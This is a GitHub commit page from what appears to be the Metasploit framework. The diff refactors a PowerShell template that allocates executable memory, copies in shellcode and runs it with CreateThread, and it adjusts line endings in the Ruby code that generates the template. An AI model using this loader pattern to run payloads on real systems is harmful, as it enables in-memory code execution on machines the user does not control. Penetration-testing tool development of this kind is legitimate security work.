Skip to content

Commit ee9b1ef

Browse files
shellsteregypt
authored andcommitted
Greatly shortened to_mem_old.ps1.template by using [Math]::max.
Added necessary end of line conversion in lib/msf/util/exe.rb so that Powershell will parse multiline strings.
1 parent bb5f71e commit ee9b1ef

File tree

2 files changed

+4
-10
lines changed

2 files changed

+4
-10
lines changed

data/templates/scripts/to_mem_old.ps1.template

Lines changed: 2 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -11,16 +11,10 @@ $%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -n
1111

1212
%{shellcode}
1313

14-
$%{var_size} = 0x1000
15-
16-
if ($%{var_code}.Length -gt 0x1000) {
17-
$%{var_size} = $%{var_code}.Length
18-
}
19-
$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,0x1000,$%{var_size},0x40)
14+
$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,0x1000,[Math]::Max($%{var_code}.Length, 0x1000),0x40)
2015

2116
for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) {
22-
$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1)
17+
$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null
2318
}
2419

2520
$%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0)
26-

lib/msf/util/exe.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -970,7 +970,7 @@ def self.to_win32pe_psh_net(framework, code, opts={})
970970

971971
hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
972972

973-
return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub)
973+
return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
974974
end
975975

976976
def self.to_win32pe_psh(framework, code, opts={})
@@ -985,7 +985,7 @@ def self.to_win32pe_psh(framework, code, opts={})
985985

986986
hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
987987

988-
return read_replace_script_template("to_mem_old.ps1.template", hash_sub)
988+
return read_replace_script_template("to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
989989
end
990990

991991
def self.to_win32pe_vbs(framework, code, opts={})

0 commit comments

Comments
 (0)